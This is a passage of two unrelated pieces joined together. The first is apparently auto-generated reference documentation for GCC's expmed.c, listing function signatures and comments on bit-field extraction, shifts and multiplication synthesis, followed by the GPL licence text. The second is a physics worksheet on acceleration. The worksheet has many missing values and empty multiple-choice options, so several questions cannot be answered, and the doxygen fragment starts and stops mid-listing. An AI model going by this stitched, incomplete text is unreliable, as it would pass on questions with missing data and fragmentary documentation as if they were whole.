ADD, 1 SUB and an AND. ```\n``` Mask contains the mode's signbit and the significant bits of the\nmodulus. By including the signbit in the operation, many targets\ncan avoid an explicit compare operation in the following comparison\nagainst zero. ```\n rtx expand_variable_shift ( enum tree_code code, enum machine_mode mode, rtx shifted, tree amount, rtx target, int unsignedp )\n``` Output a shift instruction for expression code CODE,\nwith SHIFTED being the rtx for the value to shift,\nand AMOUNT the tree for the amount to shift by.\nStore the result in the rtx TARGET, if that is convenient.\nIf UNSIGNEDP is nonzero, do a logical shift; otherwise, arithmetic.\nReturn the rtx for where the value is. ```\n rtx expand_widening_mult ( enum machine_mode mode, rtx op0, rtx op1, rtx target, int unsignedp, optab this_optab )\n``` Perform a widening multiplication and return an rtx for the result.\nMODE is mode of value; OP0 and OP1 are what to multiply (rtx's);\nTARGET is a suggestion for where to store the result (an rtx).\nTHIS_OPTAB is the optab we should use, it must be either umul_widen_optab\nor smul_widen_optab.\n\nWe check specially for a constant integer as OP1, comparing the\ncost of a widening multiply against the cost of a sequence of shifts\n` Special case powers of two. `\n``` Exclude cost of op0 from max_cost to match the cost\ncalculation of the synth_mult. ```\n static rtx expmed_mult_highpart ( enum machine_mode mode, rtx op0, rtx op1, rtx target, int unsignedp, int max_cost )\nstatic\n``` Emit code to multiply OP0 and OP1 (where OP1 is an integer constant),\nputting the high half of the result in TARGET if that is convenient,\nand return where the result is. If the operation can not be performed,\n0 is returned.\n\nMODE is the mode of operation and result.\n\nUNSIGNEDP nonzero means unsigned multiply.\n\nMAX_COST is the total allowed cost for the expanded RTL. ```\n` We can't support modes wider than HOST_BITS_PER_INT. `\n``` We can't optimize modes wider than BITS_PER_WORD.\n??? We might be able to perform double-word arithmetic if\nmode == word_mode, however all the cost calculations in\nsynth_mult etc. assume single-word operations. ```\n` Check whether we try to multiply by a negative constant. `\n` See whether shift/add multiplication is cheap enough. `\n``` See whether the specialized multiplication optabs are\ncheaper than the shift/add version. ```\n` Adjust result for signedness. `\n static rtx expmed_mult_highpart_optab ( enum machine_mode mode, rtx op0, rtx op1, rtx target, int unsignedp, int max_cost )\nstatic\n``` Like expmed_mult_highpart, but only consider using a multiplication\noptab. OP1 is an rtx for the constant operand. ```\n``` Firstly, try using a multiplication insn that only generates the needed\nhigh part of the product, and in the sign flavor of unsignedp. ```\n``` Secondly, same as above, but use sign flavor opposite of unsignedp.\nNeed to adjust the result after the multiplication. ```\n` We used the wrong signedness. Adjust the result. `\n` Try widening multiplication. `\n` Try widening the mode and perform a non-widening multiplication. `\n``` We need to widen the operands, for example to ensure the\nconstant multiplier is correctly sign or zero extended.\nUse a sequence to clean-up any instructions emitted by\nthe conversions if things don't work out. ```\n` Try widening multiplication of opposite signedness, and adjust. `\n` We used the wrong signedness. Adjust the result. `\n rtx extract_bit_field ( rtx str_rtx, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, int unsignedp, rtx target, enum machine_mode mode, enum machine_mode tmode )\n``` Generate code to extract a byte-field from STR_RTX\ncontaining BITSIZE bits, starting at BITNUM,\nand put it in TARGET if possible (if TARGET is nonzero).\nRegardless of TARGET, we return the rtx for where the value is placed.\n\nSTR_RTX is the structure containing the byte (a REG or MEM).\nUNSIGNEDP is nonzero if this is an unsigned bit field.\nMODE is the natural mode of the field value once extracted.\nTMODE is the mode the caller would like the value to have;\nbut the value may be returned with type MODE instead.\n\nIf a TARGET is specified and we can store in it at no extra cost,\nwe do so, and return TARGET.\nOtherwise, we return a REG of mode TMODE or MODE, with TMODE preferred\nif they are equally easy. ```\n\n static rtx extract_bit_field_1 ( rtx str_rtx, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, int unsignedp, rtx target, enum machine_mode mode, enum machine_mode tmode, bool fallback_p )\nstatic\n``` A subroutine of extract_bit_field, with the same arguments.\nIf FALLBACK_P is true, fall back to extract_fixed_bit_field\nif we can find no other means of implementing the operation.\nif FALLBACK_P is false, return NULL instead. ```\n``` If we have an out-of-bounds access to a register, just return an\nuninitialized register of the required mode. This can occur if the\n` We're trying to extract a full register from itself. `\n` See if we can get a better vector mode before extracting. `\n``` Use vec_extract patterns for extracting parts of vectors whenever\navailable. ```\n``` Make sure we are playing with integral modes. Pun with subregs\nif we aren't. ```\n``` If we got a SUBREG, force it into a register since we\naren't going to be able to do another SUBREG on it. ```\n``` ??? We currently assume TARGET is at least as big as BITSIZE.\nIf that's wrong, the solution is to test for it and set TARGET to 0\nif needed. ```\n``` If the bitfield is volatile, we need to make sure the access\nremains on a type-aligned boundary. ```\n``` Only scalar integer modes can be converted via subregs. There is an\nadditional problem for FP modes here in that they can have a precision\nwhich is different from the size. mode_for_size uses precision, but\nwe want a mode based on the size, so we must avoid calling it for FP\nmodes. ```\n``` Extraction of a full MODE1 value can be done with a subreg as long\nas the least significant bit of the value is the least significant\nbit of either OP0 or a word of OP0. ```\n``` Extraction of a full MODE1 value can be done with a load as long as\nthe field is on a byte boundary and is sufficiently aligned. ```\n` Handle fields bigger than a word. `\n``` Here we transfer the words of the field\nin the order least significant first.\nThis is because the most significant word is the one which may\nbe less than full. ```\n` Indicate for flow that the entire target reg is being set. `\n``` If I is 0, use the low-order word in both field and target;\nif I is 1, use the next to lowest word; and so on. ```\n` Word number in TARGET to use. `\n` Offset from start of field in OP0. `\n``` Unless we've filled TARGET, the upper regs in a multi-reg value\nneed to be zero'd out. ```\n` Signed bit field: sign-extend with two arithmetic shifts. `\n``` If OP0 is a multi-word register, narrow it to the affected word.\nIf the region spans two words, defer to extract_split_bit_field. ```\n``` From here on we know the desired field is smaller than a word.\nIf OP0 is a register, it too fits within a word. ```\n``` ??? We could limit the structure size to the part of OP0 that\ncontains the field, with appropriate checks for endianness\nand TRULY_NOOP_TRUNCATION. ```\n``` If OP0 is a memory, try copying it to a register and seeing if a\ncheap register alternative is available. ```\n``` Do not use extv/extzv for volatile bitfields when\n-fstrict-volatile-bitfields is in effect. ```\n``` Try loading part of OP0 into a register and extracting the\nbitfield from that. ```\n``` Find a correspondingly-sized integer field, so we can apply\nshifts and masks to it. ```\n` Should probably push op0 out to memory and then do a load. `\n static rtx extract_bit_field_using_extv ( const extraction_insn * extv, rtx op0, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, int unsignedp, rtx target, enum machine_mode mode, enum machine_mode tmode )\nstatic\n``` Try to use an ext(z)v pattern to extract a field from OP0.\nReturn the extracted value on success, otherwise return null.\nEXT_MODE is the mode of the extraction and the other arguments\nare as for extract_bit_field. ```\n` Get a reference to the first byte of the field. `\n` Convert from counting within OP0 to counting in EXT_MODE. `\n``` If op0 is a register, we need it in EXT_MODE to make it\nacceptable to the format of ext(z)v. ```\n``` If BITS_BIG_ENDIAN is zero on a BYTES_BIG_ENDIAN machine, we count\n\"backwards\" from the size of the unit we are extracting from.\nOtherwise, we count bits from the most significant on a\nBYTES/BITS_BIG_ENDIAN machine. ```\n``` Don't use LHS paradoxical subreg if explicit truncation is needed\nbetween the mode of the extraction (word_mode) and the target\nmode. Instead, create a temporary and use convert_move to set\nthe target. ```\n static rtx extract_fixed_bit_field ( enum machine_mode tmode, rtx op0, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, rtx target, int unsignedp )\nstatic\n``` Use shifts and boolean operations to extract a field of BITSIZE bits\nfrom bit BITNUM of OP0.\n\nUNSIGNEDP is nonzero for an unsigned bit field (don't sign-extend value).\nIf TARGET is nonzero, attempts to store the value there\nand return TARGET, but this is not guaranteed.\nIf TARGET is not used, create a pseudo-reg of mode TMODE for the value. ```\n``` Get the proper mode to use for this field. We want a mode that\nincludes the entire field. If such a mode would be larger than\na word, we won't be doing the extraction the normal way. ```\n``` The only way this should occur is if the field spans word\nboundaries. ```\n``` If we're accessing a volatile MEM, we can't apply BIT_OFFSET\nif it results in a multi-word access where we otherwise wouldn't\nhave one. So, check for that case here. ```\n``` If the target doesn't support unaligned access, give up and\nsplit the access into two. ```\n``` Note that bitsize + bitnum can be greater than GET_MODE_BITSIZE (mode)\nfor invalid input, such as extract equivalent of f5 from\ngcc.dg/pr48335-2.c. ```\n``` BITNUM is the distance between our msb and that of OP0.\nConvert it to the distance from the lsb. ```\n``` Now BITNUM is always the distance between the field's lsb and that of OP0.\nWe have reduced the big-endian case to the little-endian case. ```\n``` If the field does not already start at the lsb,\nshift it so it does. ```\n` Maybe propagate the target for the shift. `\n` Convert the value to the desired mode. `\n``` Unless the msb of the field used to be the msb when we shifted,\nmask out the upper bits. ```\n``` To extract a signed bit-field, first shift its msb to the msb of the word,\nthen arithmetic-shift its lsb to the lsb of the word. ```\n` Find the narrowest integer mode that contains the field. `\n` Maybe propagate the target for the shift. `\n static rtx extract_high_half ( enum machine_mode, rtx )\nstatic\n\nReferenced by expand_widening_mult().\n\n static rtx extract_high_half ( )\nstatic\n` Subroutine of expmed_mult_highpart. Return the MODE high part of OP. `\n\nReferences expand_binop(), gen_int_mode(), and OPTAB_LIB_WIDEN.\n\n rtx extract_low_bits ( )\n``` Try to read the low bits of SRC as an rvalue of mode MODE, preserving\nthe bit pattern. SRC_MODE is the mode of SRC; if this is smaller than\nMODE, fill the upper bits with zeros. Fail if the layout of either\nmode is unknown (as for CC modes) or if the extraction would involve\nunprofitable mode punning. Return the value on success, otherwise\nreturn null.\n\nThis is different from gen_lowpart* in these respects:\n\n- the returned value must always be considered an rvalue\n\n- when MODE is wider than SRC_MODE, the extraction involves\na zero extension\n\n- when MODE is smaller than SRC_MODE, the extraction involves\na truncation (and is thus subject to TRULY_NOOP_TRUNCATION).\n\nIn other words, this routine performs a computation, whereas the\ngen_lowpart* routines are conceptually lvalue or rvalue subreg\noperations. ```\n``` simplify_gen_subreg can't be used here, as if simplify_subreg\nfails, it will happily create (subreg (symbol_ref)) or similar\ninvalid SUBREGs. ```\n\nReferenced by find_shift_sequence().\n\n static rtx extract_split_bit_field ( rtx op0, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitpos, int unsignedp )\nstatic\n``` Extract a bit field that is split across two words\nand return an RTX for the result.\n\nOP0 is the REG, SUBREG or MEM rtx for the first of the two words.\nBITSIZE is the field width; BITPOS, position of its first bit, in the word.\nUNSIGNEDP is 1 if should zero-extend the contents; else sign-extend. ```\n``` Make sure UNIT isn't larger than BITS_PER_WORD, we can only handle that\nmuch at a time. ```\n``` THISSIZE must not overrun a word boundary. Otherwise,\nextract_fixed_bit_field will call us again, and we will mutually\nrecurse forever. ```\n``` If OP0 is a register, then handle OFFSET here.\n\nWhen handling multiword bitfields, extract_bit_field may pass\ndown a word_mode SUBREG of a larger REG for a bitfield that actually\ncrosses a word boundary. Thus, for a SUBREG, we must find\nthe current word starting from the base register. ```\n``` Extract the parts in bit-counting order,\nwhose meaning is determined by BYTES_PER_UNIT.\nOFFSET is in UNITs, and UNIT is in bits. ```\n` Shift this part into place for the result. `\n``` Combine the parts with bitwise or. This works\nbecause we extracted each part as an unsigned bit field. ```\n` Unsigned bit field: we are done. `\n` Signed bit field: sign-extend with two arithmetic shifts. `\n void init_expmed ( void )\n` In expmed.c `\n` Avoid using hard regs in ways which may be unsupported. `\n static void init_expmed_one_conv ( struct init_expmed_rtl * all, enum machine_mode to_mode, enum machine_mode from_mode, bool speed )\nstatic\n``` We're given no information about the true size of a partial integer,\nonly the size of the \"full\" integer it requires for storage. For\ncomparison purposes here, reduce the bit size by one in that case. ```\n` Assume cost of zero-extend and sign-extend is the same. `\n static void init_expmed_one_mode ( struct init_expmed_rtl * all, enum machine_mode mode, int speed )\nstatic\n static unsigned HOST_WIDE_INT invert_mod2n ( unsigned HOST_WIDE_INT, int )\nstatic\n static unsigned HOST_WIDE_INT invert_mod2n ( )\nstatic\n``` Compute the inverse of X mod 2**n, i.e., find Y such that X * Y is\ncongruent to 1 (mod 2**N). ```\n` Solve x*y == 1 (mod 2^n), where x is odd. Return y. `\n``` The algorithm notes that the choice y = x satisfies\nx*y == 1 mod 2^3, since x is assumed odd.\nEach iteration doubles the number of bits of significance in y. ```\n\n static bool lowpart_bit_field_p ( unsigned HOST_WIDE_INT bitnum, unsigned HOST_WIDE_INT bitsize, enum machine_mode struct_mode )\nstatic\n``` Return true if a bitfield of size BITSIZE at bit number BITNUM within\na structure of mode STRUCT_MODE represents a lowpart subreg. The subreg\noffset is then BITNUM / BITS_PER_UNIT. ```\n static rtx lshift_value ( enum machine_mode mode, unsigned HOST_WIDE_INT value, int bitpos )\nstatic\n``` Return a constant integer (CONST_INT or CONST_DOUBLE) rtx with the value\nVALUE << BITPOS. ```\n tree make_tree ( )\n``` Return a tree node with data type TYPE, describing the value of X.\nUsually this is an VAR_DECL, if there is no obvious better choice.\nX may be an expression, however we only support those expressions\ngenerated by loop.c. ```\n` Build a tree with vector elements. `\n` else fall through. `\n``` If TYPE is a POINTER_TYPE, we might need to convert X from\naddress mode to pointer mode. ```\n``` Note that we do *not* use SET_DECL_RTL here, because we do not\nwant set_decl_rtl to go adjusting REG_ATTRS for this temporary. ```\n\nReferenced by count_type_elements(), and initialize_argument_information().\n\n static rtx mask_rtx ( enum machine_mode, int , int , int )\nstatic\nstatic\n``` Return a constant integer (CONST_INT or CONST_DOUBLE) mask value\nof mode MODE with BITSIZE ones followed by BITPOS zeros, or the\ncomplement of that if COMPLEMENT. The mask is truncated if\nnecessary to the width of mode MODE. The mask is zero-extended if\nBITSIZE+BITPOS is too small for MODE. ```\n int mult_by_coeff_cost ( )\n``` Return a cost estimate for multiplying a register by the given\nCOEFFicient in the given MODE and SPEED. ```\n\nReferenced by alloc_cand_and_find_basis(), and optimize_cands_for_speed_p().\n\n static rtx narrow_bit_field_mem ( rtx mem, enum machine_mode mode, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, unsigned HOST_WIDE_INT * new_bitnum )\nstatic\n``` Adjust bitfield memory MEM so that it points to the first unit of mode\nMODE that contains a bitfield of size BITSIZE at bit position BITNUM.\nIf MODE is BLKmode, return a reference to every byte in the bitfield.\nSet *NEW_BITNUM to the bit position of the field within the new memory. ```\n rtx negate_rtx ( )\n``` Return an rtx representing minus the value of X.\nMODE is the intended mode of the result,\nuseful if X is a CONST_INT. ```\n static bool simple_mem_bitfield_p ( rtx op0, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, enum machine_mode mode )\nstatic\n``` Return true if OP is a memory and if a bitfield of size BITSIZE at\nbit number BITNUM can be treated as a simple value of mode MODE. ```\n\nReferences extraction_insn::field_mode, get_last_insn(), and last.\n\n void store_bit_field ( rtx str_rtx, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, unsigned HOST_WIDE_INT bitregion_start, unsigned HOST_WIDE_INT bitregion_end, enum machine_mode fieldmode, rtx value )\n``` Generate code to store value from rtx VALUE\ninto a bit-field within structure STR_RTX\ncontaining BITSIZE bits starting at bit BITNUM.\n\nBITREGION_START is bitpos of the first bitfield in this region.\nBITREGION_END is the bitpos of the ending bitfield in this region.\nThese two fields are 0, if the C++ memory model does not apply,\nor we are not interested in keeping track of bitfield regions.\n\nFIELDMODE is the machine-mode of the FIELD_DECL node for this field. ```\n``` Under the C++0x memory model, we must not touch bits outside the\nbit region. Adjust the address to start at the beginning of the\nbit region. ```\n\nReferences get_best_mode(), HOST_WIDE_INT, and word_mode.\n\nReferenced by noce_emit_store_flag(), and restore_fixed_argument_area().\n\n static bool store_bit_field_1 ( rtx str_rtx, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, unsigned HOST_WIDE_INT bitregion_start, unsigned HOST_WIDE_INT bitregion_end, enum machine_mode fieldmode, rtx value, bool fallback_p )\nstatic\n``` A subroutine of store_bit_field, with the same arguments. Return true\nif the operation could be implemented.\n\nIf FALLBACK_P is true, fall back to store_fixed_bit_field if we have\nno other way of implementing the operation. If FALLBACK_P is false,\n``` The following line once was done only if WORDS_BIG_ENDIAN,\nbut I think that is a mistake. WORDS_BIG_ENDIAN is\nmeaningful at a much higher level; when structures are copied\nbetween memory and regs, the higher-numbered regs\n` Paradoxical subregs need special handling on big endian machines. `\n``` No action is needed if the target is a register and if the field\nlies completely outside that register. This can occur if the source\n``` Use vec_set patterns for inserting parts of vectors whenever\navailable. ```\n``` If the target is a register, overwriting the entire object, or storing\na full-word or multi-word field can be done with just a SUBREG. ```\n``` Use the subreg machinery either to narrow OP0 to the required\nwords or to cope with mode punning between equal-sized modes. ```\n``` If the target is memory, storing any naturally aligned field can be\ndone with a simple store. For targets that support fast unaligned\nmemory, any naturally sized, unit aligned field can be done directly. ```\n``` Make sure we are playing with integral modes. Pun with subregs\nif we aren't. This must come after the entire register case above,\nsince that case is valid for any mode. The following cases are only\nvalid for integral modes. ```\n``` Storing an lsb-aligned field in a register\ncan be done with a movstrict instruction. ```\n``` Else we've got some float mode source being extracted into\na different float mode destination -- this combination of\nsubregs results in Severe Tire Damage. ```\n` Shrink the source operand to FIELDMODE. `\n` Handle fields bigger than a word. `\n``` Here we transfer the words of the field\nin the order least significant first.\nThis is because the most significant word is the one which may\nbe less than full.\nHowever, only do that if the value is not BLKmode. ```\n``` This is the mode we must force value to, so that there will be enough\nsubwords to extract. Note that fieldmode will often (always?) be\nVOIDmode, because that is what store_field uses to indicate that this\nis a bit field, but passing VOIDmode to operand_subword_force\nis not allowed. ```\n``` If I is 0, use the low-order word in both field and target;\nif I is 1, use the next to lowest word; and so on. ```\n``` If the remaining chunk doesn't have full wordsize we have\nto make sure that for big endian machines the higher order\nbits are used. ```\n``` If VALUE has a floating-point or complex mode, access it as an\ninteger of the corresponding size. This can occur on a machine\nwith 64 bit registers that uses SFmode for float. It can also\noccur for unaligned float or complex fields. ```\n``` If OP0 is a multi-word register, narrow it to the affected word.\nIf the region spans two words, defer to store_split_bit_field. ```\n``` From here on we can assume that the field to be stored in fits\nwithin a word. If the destination is a register, it too fits\nin a word. ```\n``` If OP0 is a memory, try copying it to a register and seeing if a\ncheap register alternative is available. ```\n``` Do not use unaligned memory insvs for volatile bitfields when\n-fstrict-volatile-bitfields is in effect. ```\n``` Try loading part of OP0 into a register, inserting the bitfield\ninto that, and then copying the result back to OP0. ```\n static bool store_bit_field_using_insv ( const extraction_insn * insv, rtx op0, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, rtx value )\nstatic\n``` Try to use instruction INSV to store VALUE into a field of OP0.\nBITSIZE and BITNUM are as for store_bit_field. ```\n` Get a reference to the first byte of the field. `\n` Convert from counting within OP0 to counting in OP_MODE. `\n``` If xop0 is a register, we need it in OP_MODE\nto make it acceptable to the format of insv. ```\n``` We can't just change the mode, because this might clobber op0,\nand we will need the original value of op0 if insv fails. ```\n``` If the destination is a paradoxical subreg such that we need a\ntruncate to the inner mode, perform the insertion on a temporary and\ntruncate the result to the original destination. Note that we can't\njust truncate the paradoxical subreg as (truncate:N (subreg:W (reg:N\nX) 0)) is (reg:N X). ```\n``` If BITS_BIG_ENDIAN is zero on a BYTES_BIG_ENDIAN machine, we count\n\"backwards\" from the size of the unit we are inserting into.\nOtherwise, we count bits from the most significant on a\nBYTES/BITS_BIG_ENDIAN machine. ```\n` Convert VALUE to op_mode (which insv insn wants) in VALUE1. `\n``` Optimization: Don't bother really extending VALUE\nif it has all the bits we will actually use. However,\nif we must narrow it, be sure we do it correctly. ```\n``` Parse phase is supposed to make VALUE's data type\nmatch that of the component reference, which is a type\nat least as wide as the field; so VALUE should have\na mode that corresponds to that type. ```\n static void store_fixed_bit_field ( rtx op0, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitnum, unsigned HOST_WIDE_INT bitregion_start, unsigned HOST_WIDE_INT bitregion_end, rtx value )\nstatic\n``` Use shifts and boolean operations to store VALUE into a bit field of\nwidth BITSIZE in OP0, starting at bit BITNUM. ```\n``` There is a case not handled here:\na structure with a known alignment of just a halfword\nand a field split across two aligned halfwords within the structure.\nOr likewise a structure with a known alignment of just a byte\nand a field split across two bytes.\nSuch cases are not supposed to be able to occur. ```\n``` Get the proper mode to use for this field. We want a mode that\nincludes the entire field. If such a mode would be larger than\na word, we won't be doing the extraction the normal way.\nWe don't want a mode bigger than the destination. ```\n``` The only way this should occur is if the field spans word\nboundaries. ```\n``` Note that bitsize + bitnum can be greater than GET_MODE_BITSIZE (mode)\nfor invalid input, such as f5 from gcc.dg/pr48335-2.c. ```\n``` BITNUM is the distance between our msb\nand that of the containing datum.\nConvert it to the distance from the lsb. ```\n``` Now BITNUM is always the distance between our lsb\nand that of OP0. ```\n``` Shift VALUE left by BITNUM bits. If VALUE is not constant,\nwe must first convert its mode to MODE. ```\n``` Now clear the chosen bits in OP0,\nexcept that if VALUE is -1 we need not bother. ```\n``` We keep the intermediates in registers to allow CSE to combine\nconsecutive bitfield assignments. ```\n` Now logical-or VALUE into OP0, unless it is zero. `\n static void store_split_bit_field ( rtx op0, unsigned HOST_WIDE_INT bitsize, unsigned HOST_WIDE_INT bitpos, unsigned HOST_WIDE_INT bitregion_start, unsigned HOST_WIDE_INT bitregion_end, rtx value )\nstatic\n``` Store a bit field that is split across multiple accessible memory objects.\n\nOP0 is the REG, SUBREG or MEM rtx for the first of the objects.\nBITSIZE is the field width; BITPOS the position of its first bit\n(within the word).\nVALUE is the value to store.\n\nThis does not yet handle fields wider than BITS_PER_WORD. ```\n``` Make sure UNIT isn't larger than BITS_PER_WORD, we can only handle that\nmuch at a time. ```\n``` If VALUE is a constant other than a CONST_INT, get it into a register in\nWORD_MODE. If we can do this using gen_lowpart_common, do so. Note\nthat VALUE might be a floating-point constant. ```\n``` When region of bytes we can touch is restricted, decrease\nUNIT close to the end of the region as needed. If op0 is a REG\nor SUBREG of REG, don't do this, as there can't be data races\non a register and we can expand shorter code in some cases. ```\n``` THISSIZE must not overrun a word boundary. Otherwise,\nstore_fixed_bit_field will call us again, and we will mutually\nrecurse forever. ```\n` Fetch successively less significant portions. `\n``` The args are chosen so that the last part includes the\nlsb. Give extract_bit_field the value it needs (with\nendianness compensation) to fetch the piece we want. ```\n` Fetch successively more significant portions. `\n``` If OP0 is a register, then handle OFFSET here.\n\nWhen handling multiword bitfields, extract_bit_field may pass\ndown a word_mode SUBREG of a larger REG for a bitfield that actually\ncrosses a word boundary. Thus, for a SUBREG, we must find\nthe current word starting from the base register. ```\n``` OFFSET is in UNITs, and UNIT is in bits. If WORD is const0_rtx,\nit is just an out-of-bounds access. Ignore it. ```\n static void synth_mult ( struct algorithm * alg_out, unsigned HOST_WIDE_INT t, const struct mult_cost * cost_limit, enum machine_mode mode )\nstatic\n``` Compute and return the best algorithm for multiplying by T.\nThe algorithm must cost less than cost_limit\nIf retval.cost >= COST_LIMIT, no algorithm was found and all\nother field of the returned struct are undefined.\nMODE is the machine mode of the multiplication. ```\n``` Indicate that no algorithm is yet found. If no algorithm\nis found, this value will be returned and indicate failure. ```\n` Be prepared for vector modes. `\n` Restrict the bits of \"t\" to the multiplication's mode. `\n` t == 1 can be done in zero cost. `\n``` t == 0 sometimes has a cost. If it does and it exceeds our limit,\nfail now. ```\n` We'll be needing a couple extra algorithm structures now. `\n` Compute the hash index. `\n` See if we already know what to do for T. `\n``` The cache tells us that it's impossible to synthesize\nmultiplication by T within entry_ptr->cost. ```\n``` COST_LIMIT is at least as restrictive as the one\nrecorded in the hash table, in which case we have no\nhope of synthesizing a multiplication. Just\nreturn. ```\n``` If we get here, COST_LIMIT is less restrictive than the\none recorded in the hash table, so we may be able to\nsynthesize a multiplication. Proceed as if we didn't\nhave the cache entry. ```\n``` The cached algorithm shows that this multiplication\nrequires more cost than COST_LIMIT. Just return. This\nway, we don't clobber this cache entry with\nalg_impossible but retain useful information. ```\n``` If we have a group of zero bits at the low-order part of T, try\nmultiplying by the remaining bits and then doing a shift. ```\n``` The function expand_shift will choose between a shift and\na sequence of additions, so the observed cost is given as\nMIN (m * add_cost(speed, mode), shift_cost(speed, mode, m)). ```\n``` See if treating ORIG_T as a signed number yields a better\nsequence. Try this sequence only for a negative ORIG_T\nas it would be useless for a non-negative ORIG_T. ```\n``` Shift ORIG_T as follows because a right shift of a\nnegative-valued signed type is implementation\ndefined. ```\n``` The function expand_shift will choose between a shift\nand a sequence of additions, so the observed cost is\ngiven as MIN (m * add_cost(speed, mode),\nshift_cost(speed, mode, m)). ```\n` If we have an odd number, add or subtract one. `\n``` If T was -1, then W will be zero after the loop. This is another\ncase where T ends with ...111. Handling this with (T + 1) and\nsubtract 1 produces slightly better code and results in algorithm\nselection much faster than treating it like the ...0111 case\nbelow. ```\n``` Reject the case where t is 3.\nThus we prefer addition in that case. ```\n` T ends with ...111. Multiply by (T + 1) and subtract 1. `\n` T ends with ...01 or ...011. Multiply by (T - 1) and add 1. `\n``` We may be able to calculate a * -7, a * -15, a * -31, etc\nquickly with a - a * n for some appropriate constant n. ```\n``` Look for factors of t of the form\nt = q(2**m +- 1), 2 <= m <= floor(log2(t - 1)).\nIf we find such a factor, we can multiply by t using an algorithm that\nmultiplies by q, shift the result by m and add/subtract it to itself.\n\nWe search for large factors first and loop down, even if large factors\nare less probable than small; if we find a large factor we will find a\ngood sequence quickly, and therefore be able to prune (by decreasing\nCOST_LIMIT) the search. ```\n``` If the target has a cheap shift-and-add instruction use\nthat in preference to a shift insn followed by an add insn.\nAssume that the shift-and-add is \"atomic\" with a latency\nequal to its cost, otherwise assume that on superscalar\nhardware the shift may be executed concurrently with the\nearlier steps in the algorithm. ```\n` Other factors will have been taken care of in the recursion. `\n``` If the target has a cheap shift-and-subtract insn use\nthat in preference to a shift insn followed by a sub insn.\nAssume that the shift-and-sub is \"atomic\" with a latency\nequal to it's cost, otherwise assume that on superscalar\nhardware the shift may be executed concurrently with the\nearlier steps in the algorithm. ```\n``` Try shift-and-add (load effective address) instructions,\ni.e. do a*3, a*5, a*9. ```\n` If best_cost has not decreased, we have not found any algorithm. `\n``` We failed to find an algorithm. Record alg_impossible for\nthis case (that is, <T, MODE, COST_LIMIT>) so that next time\nwe are asked to find an algorithm for T within the same or\ncaller. ```\n` Cache the result. `\n``` If we are getting a too long sequence for `struct algorithm'\nto record, make this search fail. ```\n``` Copy the algorithm from temporary space to the space at alg_out.\nWe avoid using structure assignment because the majority of\nbest_alg is normally undefined, and this is a critical function. ```\n\n## Variable Documentation\n\n struct target_expmed default_target_expmed\n```@verbatim\n```\n\nMedium-level subroutines: convert bit-field store and extract and shifts, multiplies and divides to rtl instructions. Copyright (C) 1987-2013 Free Software Foundation, Inc.\n\nThis file is part of GCC.\n\nGCC is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3, or (at your option) any later version.\n\nGCC is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with GCC; see the file COPYING3. If not see http://www.gnu.org/licenses/.\n\n struct target_expmed* this_target_expmed = &default_target_expmed" ]

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[ "# Worksheet: Acceleration of Moving Objects\n\nIn this worksheet, we will practice calculating the change in the velocity of an object that undergoes a given acceleration.\n\nQ1:\n\nA uniformly accelerating particle has a velocity of 2.0 m/s at a time s and a velocity of m/s at a time s. What is the acceleration of the particle?\n\nQ2:\n\nWhat is the deceleration of a rocket sled if it comes to rest in 1.10 s from a speed of 1,000.0 km/h?\n\nQ3:\n\nAn ambulance driver is rushing a patient to the hospital. While traveling at , she notices the traffic light at the upcoming intersections has turned amber. To reach the intersection before the light turns red, she must increase her displacement in the direction of her current velocity by 38 m in 1.7 s.\n\nWhat is the minimum acceleration needed to reach the intersection before the light turns red?\n\nWhat is the speed of the ambulance when it reaches the intersection?\n\nQ4:\n\nA rocket sled accelerates from rest to a top speed of 264 m/s in 4.38 s and is brought jarringly back to rest in 1.06 s.\n\nCalculate acceleration in the direction of the rocket sled’s motion, giving your answer as a multiple of , where .\n\n• A\n• B\n• C\n• D\n• E\n\nCalculate acceleration in the direction opposite to the rocket sled’s motion, giving your answer as a multiple of , where .\n\n• A\n• B\n• C\n• D\n• E\n\nQ5:\n\nAn airplane accelerates in a straight line at 7.2 m/s2 for 28 s. During this time, it travels 7.4 km.\n\nWhat is the initial velocity of the airplane in the direction of its acceleration?\n\nWhat is the final velocity of the airplane in the direction of its acceleration?\n\nQ6:\n\nA particle moves in a straight line with an initial velocity of 30.0 m/s. It accelerates for 5.00 s at a constant 30.0 m/s2 in the direction of its initial velocity.\n\nWhat is the magnitude of the particle’s displacement after the acceleration?\n\nWhat is the magnitude of the particle’s velocity after the acceleration?\n\nQ7:\n\nA particle is moving with constant acceleration. At the time , the particle is moving from left to right with a speed of 5.0 m/s. At the time , the particle is moving right to left with a speed of 8.0 m/s. Assume that displacement to the right corresponds to positive values.\n\nWhat is the acceleration of the particle?\n\nWhat is the initial speed of the particle?\n\nWhat is the value of when the speed of the particle is zero?\n\nQ8:\n\nA manned rocket accelerates at a rate of 20.0 m/s2 during its launch. How long does it take the rocket to reach a velocity of 400.0 m/s?\n\nQ9:\n\nAssume an intercontinental ballistic missile goes from rest to a suborbital speed of 6.50 km/s in 60.0 s. What is its average acceleration in multiples of ?" ]

